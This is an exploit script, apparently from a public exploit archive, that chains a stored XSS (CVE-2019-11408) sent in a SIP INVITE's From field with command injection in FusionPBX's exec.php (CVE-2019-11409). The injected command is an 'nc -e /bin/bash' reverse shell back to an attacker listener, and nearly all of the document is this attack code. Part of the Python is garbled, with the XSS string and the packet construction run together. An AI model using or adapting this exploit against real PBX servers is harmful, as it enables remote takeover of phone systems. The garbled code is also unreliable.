FusionPBX 4.4.3 Remote Command Execution

`# Exploit Title: FusionPBX <= 4.4.3 Command Injection RCE via XSS   
# Date: 06-11-2019  
# Exploit Author: Dustin Cobb  
# Vendor Homepage: https://www.fusionpbx.com  
# Software Link: https://https://github.com/fusionpbx/fusionpbx  
# Version: <= 4.4.3  
# Tested on: Debian 8.11  
# CVE : CVE-2019-11408 (XSS) AND CVE-2019-11409 (Command Injection RCE)  
  
#!/usr/bin/python  
import socket, sys  
from random import randint  
from hashlib import md5  
  
# Exploitation steps:  
#  
# 1. First, encode an XSS payload that will be injected into the  
# “Caller ID Number” field, or “User” component of the SIP   
# “From” URI.  
# 2. Connect to external SIP profile port and send a SIP INVITE   
# packet with XSS payload injected into the From Field.  
# 3. XSS payload will fire operator panel screen (CVE-2019-11408), which   
# is designed to be monitored constantly by a call center operator.  
# 4. Once XSS code executes, a call is made to the exec.php script   
# (CVE-2019-11409) with a reverse shell payload that connects back to   
# a netcat listener on the attacker system.   
  
  
# edit these variables to set up attack  
victim_addr="10.10.10.10"  
victim_host="victim-pbx1.example.com"  
victim_num="12125551212"  
  
attacker_ip="10.10.10.20"  
attacker_port=4444  
  
def encode(val):  
ret=""  
  
for c in val:  
ret+="\\x%02x" % ord(c)  
  
return ret  
  
callid=md5(str(randint(0,99999999))).hexdigest()  
  
cmd="nc -e /bin/bash %s %d" % (attacker_ip, attacker_port)  
payload="q=new XMLHttpRequest();q.open('GET','exec.php?cmd=system %s',true);q.send();" % cmd  
  
xss=";tag=%s  
To:   
Call-ID: %s  
CSeq: 1 INVITE  
Contact:   
Max-Forwards: 70  
User-Agent: Exploit POC  
Content-Type: application/sdp  
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE, MESSAGE  
Content-Length: 209  
  
v=0  
o=root 1204310316 1204310316 IN IP4 127.0.0.1  
s=Media Gateway  
c=IN IP4 127.0.0.1  
t=0 0  
m=audio 4446 RTP/AVP 0 101  
a=rtpmap:0 PCMU/8000  
a=rtpmap:101 telephone-event/8000  
a=fmtp:101 0-16  
a=ptime:2  
a=sendrecv""" % (victim_num, victim_host, xss, callid, victim_num, victim_host, callid)  
  
payload=payload.replace("\n","\r\n")  
  
s=socket.socket()  
  
s.connect((victim_addr,5080))  
  
print payload  
print  
  
s.send(payload)  
data=s.recv(8192)  
  
print data  
`